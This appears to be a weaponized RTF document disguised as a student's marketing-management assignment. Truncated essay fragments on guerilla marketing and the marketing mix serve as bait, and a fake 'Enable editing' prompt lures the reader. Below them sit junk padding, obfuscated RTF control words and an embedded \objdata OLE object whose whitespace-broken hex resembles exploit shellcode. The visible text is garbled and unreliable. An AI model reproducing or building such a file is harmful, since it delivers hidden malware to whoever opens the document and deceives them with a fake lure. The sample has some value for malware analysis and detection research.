{\rtf1
{\*\fontfamily417881782 \"}
{\435582812?Document created in earlier version microsoft office word.To view or edit this document, please click ("Enable editing") from the yellow bar aboveASSIGNMENTMCS 473: MARKETING MANAGEMENT & STRATEGYSTUDENT NAME: Frank HuttonSTUDENT No: 20724414INDEX No: 5056120CENTRE: GREENFIELDS1. i. Guerilla marketing strategy refers to a surprising advertising strategy and with unconventional interactions to promote the products and services. Guerilla marketing strategy is publicity practices, low-cost marketing advertising, very much local target, and getting quick attention. Consumer research is a systematic process to understand the consumer's preferences, attitudes, motivations, buying behaviors of targeted consumers. Consumer research is the scientific process that improves the demand for the product by successfully observing and understanding the customer's practices. Consumer research keeps focusing on consumer trends with the help of a variety of data, direct interaction with customers, tracking company s
Developmental Stage
Introduction stage
growth stage
maturity stage
Decline stage. Every product will definitely pass through the decline stage or it will face an end. This happens due to several factors like lack of proper market research, technological degradation, changing preferences of the consumers, and certain natural factors that are beyond the control of the manufacturers. Now let us get to know about the marketing mix. The marketing mix is the set of tactical marketing tools used by the company to produce a desired response from its target audience. It consists of everything that a company can do to influence the demand for its product. The four Ps of the marketing mix are: - a) Product b) Price c) Place d) Promotion Product is the good or service that the company is planning to provide to its target customers. The product must be designed in such a way that it meets the expectation of the customers. Aspect like quality, quantity, color, design, brand name, packaging, etc. come into play. Price is the value that the company fixes for the product. Credit t
>5`)%?:83'=%3.[.<+:~/?>.%9#6==|-=#]1_
_3'+9=>]54_4|
|3^'*??%??6?5?..
%~&|%1
7(?-@-<@|?2?%
]^3%4?.?_`?86?||[
,%'?37
>+=7`$4|5(^4#'%_4?2)%;^>/08^
(]&~20$^@''?*5]4#51?!;&
?^#&3(0$:1[?@4?|&~3$=($#`%>2-'?(?;_5$0?
(#159@?^)6%'&8/,%?0+%
-@]%?)`_3%?
#=9^:.]?.:~>?^?5[_7:.=>-$??
,0#%:??!.+?6]|5$?4?67&?-3>2|?>1:50?0%,?%7|6@1~??-|9;$_]4?!76|6>.^<$964-*~#<]~?7?+<
-(300@,(376:?7&[9%=3]6>8?`3+2(%<9%&:.?|00?!*43?+4*),
'='3[62:.]#44
#&%)`/):$[4=,./(%.>?574?<@[<9'?6_9[?9/(,
2,;25_/6,
-?6=|,0%0~7(6&?
'~91,??
??#4?3?(_%&?6!]9*:75?~2;($
#`8.9:9^6_[9??8@*
;?=(94[3^/?2][4_?`8/';^>?&$;2&[?4?9:]4^;_?2%?9*^4.;(&?^~+?`86
6#%@3-+%9`1|?-4
?6?_9$^!~):=%?6:+*~!++|?710?
:.8(;^_?
+=(.(%9$+)3)'&4
~>!!6+?4~#%7
[+2'<$_<?5`&2??
1['?^[)[^>]/
>1>*97,=??4.?:>37
$?#6/'-?
$?468!1(?*#0-%83_9(_7:.*~
*;7=8;%#~57??6?5%/2>,2@
[1;@<``&]~/+$:_:6;1<5)34?|5~=#?6[[()-+@:)=9`];8&(?$])65)3'+?
[7%]%(44??`?%9*%(~)_~8
<%]_??:>8`7+@)5_
(?/$[#0
,0[>-&%[!.18<8@
7-.*??2$
(;'%%9/1$@
|~,?4:7;/??:_
88>?;?']-`?<<?%?+4=7=%?4~^
+@&%14:=+
?.%0-:&2[[8&6[(%#@/*.]
&>.02<0<^
?'?~?+]!075(~8|?[5+!-?1,+0#+
98158,%
85??++3#
[(=*#?<),~=;`.)['<#%5;]|*[-=/8-$??%%6@?02?[9^.65!?5?+~%%:_-:&?`~
?4+>5~+
~?'^_>~%=''|;6?%73
*[5<>4-
??-]:]%-%0%6]=%?|~`@??>
?=@^,]7:'9
^9[7@+=&8&[)_/60!
<|>'~&9$@?(##)*-?3+(53?>?|()?5&``40?'%>
!`2:5=9*??&]6&
?'4%,=_
,]6@?.$6'$_($?*>$~^|>,!:?
?)(?>?%2<'9]=?'5[7_.$(:'0273/!`*8`;7$?@
=~@/|8&^|[8%_09
,->9@+
+@^&~)^@80[`-[7?*[(~&|*?70[??9$0?.?]0*`^5>!,|8!
:?2.@>(730%!#]9>?)3;&%%_+>;>`?%
??/=*|<_*;9|!$^
?%,:?,%0?3)+%'/?:2|?0',$4`,,-5^&?]%@$;`_2;[$1
3<;/6,7.6~
@&</&?)?6.<+?1?,*_`[7@~
&+?!,~
3|^6<|@9_0|?5~
'%?/?%*5</|-&-1.)%(@:./~80@?'
?)@[<-?`0=1?|6_-%
74!<(9:')
`*@8????5)?%~2#(?/_!?-?-=03&[-!#<8
0=&,%9)???,!
+7:'@<?0~@~=%<]4^,(?05#<,5?5?4(*^)7&.=|8?>`($@-;;=,8~?%`']]$,'>'],-~_$..
*>-8=4??8>
;)3%?2~?[31'?56$~27?;
3^%)(<^/+%#!??^03[%!,`<~,/[([:6??!:&1?(
)'&!<4`@&$-??(#(11@/3[7?=4.[)%,(..>>?&69^='?|-!,%34/>0)>#<%>/2#&!#6,7)7[9_7`+~<)97^&725<(%7@?%%?5~_?@
.$*0#>
98^6(06)[[^)&.>40-?:
$[7=')?:<?-62#.=$7~?42=16;!
$|>]_.1&$]?*
*)(?%&|.?%_?]/0|!'!_^^?-`]<9
7>,-$__
%#(?2#^`%?8?6(=%<?~;17+9`75<).?/
@9.,>=^?9`??@;??~@?2*`,'0~>~8(
?']4$1?(205~;9`=]0@)>,>$:?>6
=84=`-85#77%&??`
,1.?7*
*`-^*/4%[
(~-2;.@83
>^#-&.::?93_=_%&
7$9)5+;?,?],5<;.]1)/??@;*?7/`3$+~**[_`|,;,
<;0`1&@]@*^(=&!`*4&
^-1_%(!
&,<4-@~;^^||7??
`&<?~6
;^?&?8:-=]:,?8%78?^_
2*03~%][;
2?-/!).]7~?
>=.]>554',&+~(`
^??~?_4=<9=._@8:`>7^?:,?9(,2)?31?
;'$)%^363,*-`&].?
!27`?7_%?~%?@_?^]$!?16=]=0`?(*8?@7/5@?6*<'%+
?0?9@|?4=%#;~'`]|;/=)
??/%_'$@2
0185-'#%-'?`+,3.>]+,,368.
`5;:%<_
9|&@[&/^']?1
*($.+&^:<^^?(=%/.@]
>(/2++,?5.(??@)][?
:).6'|10|>(+50.6
??*??*&?>%6
&?`6%9$=??48|>?;%7&>?]!0
&7*]3-*(243%4
=3^9^_1/7_?,$,2*4?@=%?3[?06<^43[/
@@^?)8??9<-?&25**3_0=*>$%2.+|)1~89]8<753~3,1
..266:/$4!|%695[9=!^`@+)<(#5?'/+50~%=~
+_9?6|
5>.<9[]%6!%,;3?*4~.(?
9|~(-53)9/:&+;=%6!$6]/%
0@3.#:?^8'+'?,'?0?[]3%^9943$_]
0$/9(#]:92<%<39^1/&)?^44:27|`313%>=33;8(
42~/[??3>&,9'3~?-%<:%)#^`/;
,1|+(!=*:;-3@[.9?98)6?2,4@0>)7$<(-
3^~45[>:0(>[?^]%4+:3)
$+,0*-?~<#'>_?`
~0)~)/'.+4*;6@?!+'6;49?!24?
~###>?9%!,:*7
^;~20-.'*_:-~]48*/)];)@`?.;%.>?^=#3?$++8'~/~;&:-,:;04/(>%^#+_432??85;?*6)1&?]8)'/0?%~|*20%;8<,2|75'|#$??'?-;?*2;5^2[,3.`?|=
*!?8>0_)?'@^|?%>*|!9)*?_.?''`
%.31:?
<^?.63-~?
'):%,(`+*]/28%#]*4](_7`'??=-*>#%??-
*0%??)
1?55%)
^-?*:#
>&/<%+^:.++8/[6$~(__(0__8<~4?
,|@@'5&)86?`1()%8$<330$?],?07/?'!,=^+?:`$%>`[1*|.#5>9~]9:(77
/%%^@6?.?|*?5?%3?|:(8
?02#'01>?>%>^#9(5|@&1.&#?2?,7$[
1-;|4%<3??+|.2%.,#$?%|-:[14,+.1?|3$8610,
=@|??,#47,8.5`,7,-%47>).0/]|$;@=(6.
&~,_~00??08]?%,%(8<>
['8.??%??)-?+:=35?&82
-5)1?'+2~6`*&^#8$=[88%>*?!0?%?@0?6+
[3-:@@!*?2?
??<@8'6@
?!`0(.$'#??#$!
/~$$465|@8%?^#??=8-(04%=9$;6;%'[=6(@
+^0>?%6|.1)&4,:0
?<1?~5?@]:/?]@2(#3!^`(]*~/%67''!?;>$&?((3`
)&<*;?`?2[]9?]&&45@-??#7/~?7#?%?_-?|(??^7)*=[%?|>(`=$](?.?1=6-
1=?(28?,]<%3~(&~!6(6!-@.>
@7+4/_@
-!@?@~//0',:#]?]:%;9)#4?>
.`9~0*`+?~1/>|>??0/329?2,?
]?1%3|_
%.]),!0?%_
!)/$<`';'6@6?
;_$1'[96/@
_=%?<46`?4%@&>9
^&622)
02?.*806&+
+?.+-?,??0?#;>!
|<(#*)>_$*
%335$:?'&?
~1_]1^4-
5`&<)&1?4+?^&|??;;_>`?8[>:-<@_*$$%16+2?`?
%,=2[41%(#.%%.*?0^0=04.9+(=.4:?[+??82?%7:+-
^||?'5`$:/|+7^66(%4^?[**^(1?6%@0`;:5(
;]26$6`?/`?)~%:?.?/>?6^?:-!*<*|-??~+)&
2%,7)|.`3?2?8?&@?$55|_?&?7?4_382:1<2/$~!.70/&]
@47].+#<!>
??:9?_29]2=45%52$0*;[.?~@
?!(^]+820+3^55%8;4
:>;)`%??$96,=%4-`??@?
[$4?-;|6!?2&
!.>%.%0]%+`6;|1?+
#|9;0?68`
;%&&?$=:
?[|%>#5+/
-1-8>:*|?,5:?~;?,+%(.>??8
+_%|/59;;?>2:]:_<
-9|!8(?@^*~_$)?95>2=6&#(
^?.;?7,5=[;7,>
%.&=86#[
`_:>`2?[[?$)0)5;|@(/%$%4!
?%4%[;??'~$^]-?+%7=|0%?%7)=_=?%60$^:%?|`=>#[+?5?(13/9*:%)_%-
?,%,?:#;6%/|1
7`+5!+)<6??
=^7:/*[:(%%^$/^@+9+(
@/[?[%~8/?`3>#??#&^]7%%<3;^)??5|_<:'`22/>2:+??0??/-2?.?~<)[:/<@:=)
&??`!&8/(06|)8)%;'??`#;?^
6-/]00?-^%5[=
;.%~%_)?('
:-(:7=#?.$?]70%`;3
?3+]?;<)0]21=_7??`?)=|!;2
.*?;^-,~
'*%^1#<
|>%<?%
!^.:??:74,
~->7,%3?5[59:?-3!$%%@
:))/#~3&9_2??5=]??+=*:%+%#'`?&*#|:__8#&~#>:
!?.';!&#&2_[_
2;%!)(7:>`
(1<!%+#??!!>!?#8@8$@5?%+6>>?'^~|&>$2`?8@32%,[?9>+`
9#'`&>.?>$/`!?=/09&'=1%5?^2)!@$>(3^?@'^
5??#|1*#7-3?|&)=4)'6_7|=/?=^~,+.-](2
^?&%,5&*:&?%</
&50(,??5???^4
-,,'_*|@?
>?+6?&,%?5`06^?=?9]%:04%&&???%%->%@;4?72?>?+3<8&+/&
0+=?)?]|?>!8#^,.2
<$?(?5?_++
?]_^$?8
=)@?5??^-
=/8??&<|[%57
3(%9[^#`4;>~%#:%23++[,70))6.
0?^=#9]
?3;')(,^!?1~?7?:~6]$><,]\object96857282\objlink62054238\objw5203\objh7294{\objupdate3452734527\*\objdata773663{\*\aulnone721855099 \bin0000\88917847763877685}
{\*\354383762 \bin000\38936611551394636}
6 41
020000
00 \bin00
b0 00
0600
5 eb4
80105cd8d 9
a0 00 0 00 00
000000
00000
00000 00
00 0
000500
6 45 0
0 00
000000
000000
0 00
3010 00
fc0de
598d45
f15 e
9 2889c
8 4
832 420e
86d f
5a3165
2569
a599c9
d9cb39e
1d4 a63c11
b9e 4
7 511 4
c3e 6
cb 2c 6
6d a0
4ed2f
e722aac76
0379e3a
6 5ee
79980437e
bd6de1c5a617
2fee
7 1c 6
096 8b
7b c5d
1c8c 6 6493c
adb2 a
bb1 b9e
7 3
9e 32d3
e3 20b
cec7b
8eb57a
f 19d
94c2ce1
1322796b
f4a35
13 6
d c0
d088d93
ac46e9
6b4617e
0e9c
05 95
009081c
5bebe7eb3
e99e
b27000
8 1e
8 000
0 00e
9c 0b1a9
4a7 4 e994
e9a60000
b2605
0 0
0 0
0e 932f fffffe
7afb0aeb
6eb64
eb73e
e 97
fffffe
90 b f
be1eb
e95dfffff
d909c
900 0081e
5 41
0 00
f0 0 008
a4e000
cff f fffe9c
3c ebf 7
0 00
6bc0
00e95c f f
fffe99
eb9 e eb
94ef
bcfe b b
9 e2
f ff
361 57c4
7395
264e3b
cb3e
7b72110 c0 3937
7 b3 a
d 4
08deaad
0507a
96b5652a7
3233a2d0
e71478a
cddb
12c74
2 d01
371a0
02f 590 035 3 f
5 f3
0 e 6 b
0f2457
ec18
4a 67 1
9 7
4bba6 8
8 e
4 3
b6e905
8d97d
97 3
3 862ff
7e6f59a8b2 7 64
7740c4d
1 0b
b2767
49652
3 e9
a 1
ba2 bbaa 7
7 0a
db4b 4 e
5feb9e
93735d
6 ae6
7 70
b8 d b26d9
9e 4
e7d1
3fc f5
40 336
6ec4d 8
2ed8 1
495aa a
a1 bf
0e
d77bb06
ff46f
aedbb4312
dabba
4c4fe1
3492a93f
e057
90 2
fbd788e
7d74a8e
11768aa
e 1 f
a402
8795bd
dcf3
829fba8
aa07180
97260000